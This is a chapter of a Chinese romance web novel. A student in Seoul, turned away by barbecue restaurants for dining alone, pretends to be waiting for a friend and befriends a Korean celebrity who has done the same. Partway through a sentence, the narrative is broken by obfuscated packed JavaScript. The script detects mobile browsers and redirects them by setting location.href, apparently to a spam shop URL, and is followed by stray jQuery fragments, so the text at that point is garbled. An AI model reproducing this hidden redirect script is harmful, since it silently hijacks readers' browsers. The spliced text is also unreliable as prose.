来首尔的第三个晚上，金欢终于受不了自己做饭了，决定外出觅食。
“初一，你妈要出去觅食，你在家乖乖的。”
初一低下头，看都没看她。
金欢：“……行，是我自作多情了。”
她站起来随手套了件衣服。脸上什么都没涂，哦不......涂了唇膏，她嘴巴容易干，韩国这破气候可不是开玩笑的。
金欢对着镜子点了点头：“不错，还是这么好看。”
出门前她回头看了一眼五一，五一趴在新买的狗窝里，歪着脑袋看她，尾巴摇了摇，表示“铲屎官再见”。
金欢早就查好了，弘大附近有一家烤肉店，评分超高，韩国本地人推荐的。金欢的原则很简单：真正好吃的店都藏在巷子里，门口排队的都是本地大爷大妈。大爷大妈不会骗人，他们的嘴比米其林评委还刁。
这家店符合她的标准：门脸不大，灯光昏黄，老板在门口切肉，刀工干净利落，每一刀下去厚度均匀，一看就是练了二十年的手艺人。
金欢推门进去的时候，里面已经坐了七八桌，空气中弥漫着炭火和牛肉的香气。
“好香。”
老板娘迎上来，是个五十多岁的阿姨，看她一个人，问道：“一个人？”
“是的，一个人。”
老板娘的表情变了，带着一点抱歉的为难，像极了医院里告诉你“你这个病不太好治”的医生。
“不好意思，”老板娘指了指店里的桌子，“我们店一个人不方便，都是大桌，两个人起。”
金欢愣了一下。
她来之前做了功课，知道韩国有些烤肉店确实不接待一个人吃饭的客人，烤肉都是两人份起点，一个人占一张桌子不划算，资本主义算盘打得她在北京都听见了。但她以为这是少数，没想到自己运气这么好，第一家就撞上了。
“我可以吃两人份。”金欢尝试争取，眼神真诚得像在面试。
老板娘抱歉地笑了笑：“不好意思，规定。”
金欢：“……”
她看了看店里那些空着的两人桌，又看了看老板娘那张“我也没办法”的脸。
行吧。这破规定她能记一辈子，走出第一家店，拐进巷子里的第二家。
“一个人？”老板看了她一眼，摇了摇头，“不行，两个人起。”
第三家。
“一个人？不好意思，没有位置了。”但店里明明还有三张空桌，老板说这话的时候眼睛都没眨一下。
金欢站在第三家烤肉店门口，仰天长叹。
她掏出手机，给林夕发了条语音，语气像受了天大的委屈：“你知道我现在什么处境吗？我想吃个烤肉，三家店都拒绝了我，因为我就一个人。我一个人怎么了？我一个人能吃两人份！我又不是不给钱！我甚至愿意多给钱！这是歧视！单身歧视！”
林夕秒回了一条语音，笑声震天响，金欢把手机拿远了十公分还是觉得耳朵疼：“哈哈哈哈哈哈哈哈你也有今天！叫你一个人去韩国！叫你一个人去吃烤肉！你一个人吃海底捞的时候服务员给你对面放娃娃的劲儿呢？！”
“你笑什么笑！”金欢气得差点把手机摔了，然后理智回笼，意识到摔了还得自己花钱买新的，默默把手机攥紧了。
她站在巷子里，看着第四家烤肉店的招牌，脑子里开始飞速运转。
假装有朋友。
这招行不错，万一老板问起来呢？万一“朋友”一直不来呢？万一......
管他呢，推开第四家店的门，面不改色心不跳，脸上挂着一种“老娘今天就是来吃肉的”的淡定表情。
老板娘热情地迎上来：“几位？”
金欢用她最自然的语气说：“两位。我朋友一会儿来，我先到。”
语气之自然，表情之真诚，如果撒谎有奥运会，她这表现至少能进半决赛，也幸亏头发盖住了耳朵，要不然就得露馅，首战即失败。
金欢被领到一张靠窗的两人桌坐下，接过菜单，心里疯狂给自己鼓掌。
成了！
她翻开菜单，目光扫过每一道菜，最后锁定了几样：牛肋眼、牛舌、大酱汤、泡菜饼。
“先来这些，”金欢把菜单递还给老板娘，“肉先上，汤和饼可以晚一点。”
“好的，你朋友大概什么时候到？”
金欢面不改色：“堵车呢，可能要一会儿，我先吃。”
老板娘笑着走了。
金欢靠在椅背上，长出一口气，嘴角翘了起来。
肉上来了，金欢拿起夹子，把肉一片一片地铺在烤盘上，动作不急不慢。雪花般的油脂在炭火的高温下迅速融化，发出“滋滋”的声响，肉香瞬间弥漫开来。
第一片肉烤好了，她没有蘸任何酱料，直接放进嘴里。
咀嚼了两下，她的眼睛亮了，瞳孔里仿佛有小星星在闪。
“好......吃......”她用中文小声感叹了一句，尾音上扬，带着一种发自肺腑的满足感。
肉质鲜嫩，油脂在嘴里化开，带着淡淡的炭火香，这片肉死得其所。
金欢吃东西的时候有个特点，她吃得认真，每一口都仔细品味，但不会让人觉得做作。用她粉丝的话说：“看金欢吃东西，比自己吃还香。”
她正在享受的时候，店门被推开了。
老板娘迎上去：“几位？”
男人的声音低沉，带着一点沙哑：“两位。朋友一会儿来。”
金欢手里的筷子顿了一下，抬起头，看了那个男人一眼。
那个男人也在看，准确地说，是在看店里的空位。他的目光扫过金欢这一桌的时候，两个人对视了一秒。
金欢低下头继续吃肉。男人被老板娘领到金欢隔壁桌，中间隔了一条窄窄的过道。
他坐下之后，直接点餐：“肋眼两份，牛舌一份，大酱汤，烧酒一瓶。”
金欢听到这个点单，眉毛微微动了一下。
肋眼、牛舌、大酱汤......跟她点的几乎一模一样，连顺序都一样。
“懂行。”她小声嘟囔了一句，继续吃自己的，但耳朵不自觉地竖了起来。
金欢本来没打算看他，但余光瞥见了他烤肉的姿势，拿起夹子，把肉铺在烤盘上，动作不急不慢，翻面的时机把握得很准。
“也是个会吃的。”金欢心想，顺便又夹了一片自己的肉。
她吃完最后一片牛舌，正准备叫老板娘加单，隔壁桌的男人忽然开口了。
“你朋友还没来？”
金欢转头，对上他的目光，他的眼神不轻浮，就是纯粹的有点无聊想找个人聊天的随意。大概是一个人烤肉太寂寞了。
“嗯……堵车。”金欢说，语气里带着一丝连她自己都没察觉的心虚。
男人看了她一眼，嘴角微微弯了一下，弯的弧度很克制，但足够明显：“我朋友也堵车。”
两个人对视了一秒。同时笑了。那个笑容的意思是：我们都没有朋友要来。
“你也是一个人？”金欢问，把“也是”两个字咬得很重。
“嗯。”男人点头，语气里带着一种过来人的沧桑，“被三家店拒绝了。”
“三家？！”金欢一拍桌子，声音大到旁边两桌都转头看她，“我也是三家！第一家说一个人不方便，第二家直接说不行，第三家明明有空桌却跟我说没位置了。你说气不气人？”
男人听到这里，笑了起来。他的笑声不大，但很有感染力，肩膀一抖一抖的。
“我也是，”他说，“所以我才想到这个办法——假装有朋友。”男人说。
“我也是！”金欢激动得差点站起来，“我在第四家店门口站了三分钟，做了十分钟的心理建设，才鼓起勇气进来骗人。。”
男人看着她，眼睛里带着一种“这人有点意思”的光。
“你是中国人？”他问。
“对。北京来的。”金欢点头，“你呢？韩国人？”
“韩国人。”男人用韩语回答，然后又用带着口音的中文说，“我的中文不太好，但能听懂一点。以前学过。”
金欢笑了，自动切换成中韩混合模式：“那我慢点说，夹杂着来，你能听懂就听懂，听不懂我比划。”
“你是来旅游的？”男人问。
“上学，刚来三天。”
男人点了点头，没有继续追问，而是把烤盘上烤好的肉夹起来，蘸了点酱，放进嘴里。
他咀嚼的时候，表情变了，他是眼睛微微眯了一下，然后轻轻点了一下头。
金欢看到这个表情，忽然开口了：“好吃吧？”
男人看了她一眼，点头：“嗯，这家店肉的质量一直很稳定。老板有自己的进货渠道，不是什么便宜货。”
“肋眼的油脂分布不错，”金欢接话，筷子指着自己盘子里还没烤的肉，“但我觉得牛舌更惊艳。厚切，火候掌握得好，外面焦里面嫩。肋眼是标准的好学生，牛舌是偏科的天才。”
男人听到这句话，放下了筷子，认真地看着她。
“你也是懂吃的。不是那种‘好吃好吃真好吃’就完事了的。”
“我姥爷是厨师，”金欢笑了笑，语气里带着一点骄傲，“从小被养刁了。我姥爷说了，一个人会不会吃，看他对牛舌的态度就知道。只吃肋眼的叫贪嘴，会吃牛舌的叫懂行。”
“难怪。”男人又夹了一片牛舌，放进嘴里，慢慢咀嚼，“你刚才说的对，牛舌确实比肋眼更惊艳。但肋眼的第一口，是最香的。那种脂肪在嘴里化开的感觉，是任何其他部位都给不了的。”
“对！”金欢一拍桌子，这次比刚才拍得还响，“第一口肋眼，脂肪在嘴里化开的那一下，是整个烤□□验的高光时刻。后面再吃，就没有那种惊艳感了。所以第一口一定要给肋眼，这是烤肉界的礼仪。”
男人的眼睛亮了。他放下筷子，转过身来，用一种“我终于找到知音了”的表情看着金欢。
两个人隔着一条窄窄的过道，相视而笑，笑得心照不宣，笑得好像全世界只有他们两个人懂这个道理。
老板娘端着大酱汤走过来，看了看他们两个，用韩语说：“你们认识？”
“刚认识。”男人回答，语气随意。
“哦——”老板娘拖长了音，意味深长地笑了笑，放下汤走了。那个“哦”里面包含了韩国大妈对爱情故事的想象。
金欢看着老板娘的背影，小声说：“她是不是误会了？她那个‘哦’是什么意思？”
男人耸肩，一副见怪不怪的表情：“韩国大妈都这样，你要是跟她解释我们只是拼桌的，她能跟你急。”
“我们是各自吃各自的。”金欢强调。
“她知道，但她还是会误会。这就是韩国大妈的职业素养。”男人端起烧酒，倒了一杯，“你要不要喝？我请，庆祝我们两个骗子成功骗到座位。”
金欢想了想，看了看自己已经空了的盘子，又看了看他烤盘上还没吃完的肉。
“行，我还有个泡菜饼，一起分。光喝你的酒不还礼，这不是我的作风。”
“对了，我叫金希彻。”他说，语气随意得像在说“今天天气不错”，然后等着看对方的反应。
金
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484919|201952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
欢手里的筷子顿了一下，金希彻，这个名字……
她总觉得有点耳熟，好像在哪里听过。想了三秒，终于想起来了——林夕以前好像给她看过一张照片，指着一群人说这是......她当时在吃薯片，根本没走心，就记得“有个人的名字听起来像洗发水”。
“我叫金欢。”她说，语气同样随意，没有任何波澜。
金希彻看着她，表情有点意外：“你不惊讶？”
“惊讶什么？”金欢真诚地问。
“我是明星啊。”金希彻说这句话的时候，语气里没有炫耀，反而带着一点“你居然不认识我”的不可思议。
“我知道啊。”金欢淡定地夹了一片泡菜饼，嚼了嚼，咽下去，“但你又不是人民币。”
金希彻沉默了两秒，然后笑了起来。整个烤肉店的人都转头看过来，连门口切肉的老板都抬头看了一眼。
“你这个人，”他指着金欢，笑得喘不上气，“有意思，太有意思了。”
“我怎么了？”金欢一脸无辜，嘴里还嚼着泡菜饼，“我说的是实话啊。”
“你知道有多少人见到我，第一反应是尖叫、要签名、要合照、晕倒吗？”金希彻擦了擦眼角笑出来的泪。
“那他们是你粉丝，我又不是。”金欢耸了耸肩。
“那你是我什么？”
金欢想了想，给出了一个非常精准的定义：“饭友，同病相怜的单身食客联盟成员。”
金希彻看着金欢，眼睛里带着一种“我单方面宣布跟这个人做朋友了”的光。
“你平时也这样吗？”他问。
“什么样？”
“这么……直接。想到什么说什么，完全不看人脸色。”
“分人。”金欢说，语气理所当然，“对值得直接的人就直接，对不值得的人就懒得说话。浪费我能量。”
“那我属于值得的？”
“目前看还行，”金欢歪了歪头，认真地评估了一下，“能吃到一个锅里的人，人品都不会太差。饭桌上最能看出一个人的品性——怎么点菜、怎么分肉、怎么对待服务员，全在细节里。”
金希彻举起烧酒杯：“这句话我要记下来。以后别人问我为什么跟你做朋友，我就说......因为能吃到一个锅里。”
金欢也举起自己的水杯，跟他碰了一下，碰杯的声音清脆，混在烤肉店的嘈杂里。
从那一刻起，金欢和金希彻的关系就定了性，两个有趣的人的惺惺相惜，是“我编的故事你一秒就懂”的默契。
俩人一见如故，聊了很多，金希彻问她为什么来韩国留学。
“想换个环境，”金欢说，然后又补了一句大实话，“顺便看看帅哥。北京的帅哥我看腻了，换个地方换换口味。”
金希彻说：“你倒是诚实，一点都不装。”
金欢说：“我这人最大的优点就是诚实。懒是第二。”
金希彻问她做什么工作。
“拍视频的，自媒体博主。在互联网上当电子榨菜。”
金希彻又问她在哪个大学，金欢说梨花女大。
“那离弘大不远，”金希彻说，“以后可以经常约饭。我知道这附近好多好吃的店，一个人不方便去的，咱俩可以搭伙骗座位。”
金欢点头：“可以。但你请客。”
金希彻瞪大眼睛：“凭什么？”
“因为你是前辈啊，”金欢理直气壮，“在韩国，前辈请后辈吃饭不是天经地义吗？我这是尊重你们的文化。”
“你是中国人，”金希彻不上当，“你不用遵守韩国的前后辈文化。”
“那就不请了？”金欢问。
“我请。”
金欢笑了，笑得眼睛弯成月牙形，露出两颗小虎牙。
金希彻看着她的笑容，忽然说了一句：“你长得挺好看的。”
金欢愣了一下：“谢谢？虽然你夸人的方式很突然。”
“不是那种恭维，”金希彻认真地说，表情诚恳，“是客观评价。你不化妆比很多化妆的女生都好看。而且你眼角那颗痣，很有辨识度。”
“我妈也这么说。”金欢摸了摸眼角的红痣，“她说这是福相，招财的。”
“你妈说得对。”金希彻点头，“你这性格，在娱乐圈能火。”
“不了不了，”金欢摆手，“我懒得营业。”
两个人又聊了一会儿，金希彻的烧酒喝完了，金欢的泡菜饼也吃完了，金希彻叫老板娘结账。
金欢说：“我的我自己付。”
金希彻说：“说好我请的。”
“那是开玩笑的，”金欢掏出钱包，“咱俩AA。我跟你又不熟，吃你一顿以后还得还人情，麻烦。”
付完钱，两个人走出烤肉店，首尔的夜风吹过来，带着一点凉意，吹散了身上的烤肉味。
金希彻把卫衣的帽子戴上，双手插进口袋，转头看金欢。
“你住哪？”
“弘大附近，走路十分钟。”
“我开车来的，送你？大晚上的你一个人走不安全。”
“不用，”金欢摇头，指了指前面的路，“我想走走，消消食。刚才吃太多了，得消耗一下，不然回去睡不着。”
金希彻点了点头，没有勉强。
“今天谢谢你请的泡菜饼。虽然是AA，但饼是你点的，算你请的。”
金欢笑着挥了挥手，“走了，下次见。”
金希彻站在原地，看着她的背影，说：“到家了跟我说一声。”
金欢秒回：“知道了，啰嗦。你这人怎么跟我妈似的。”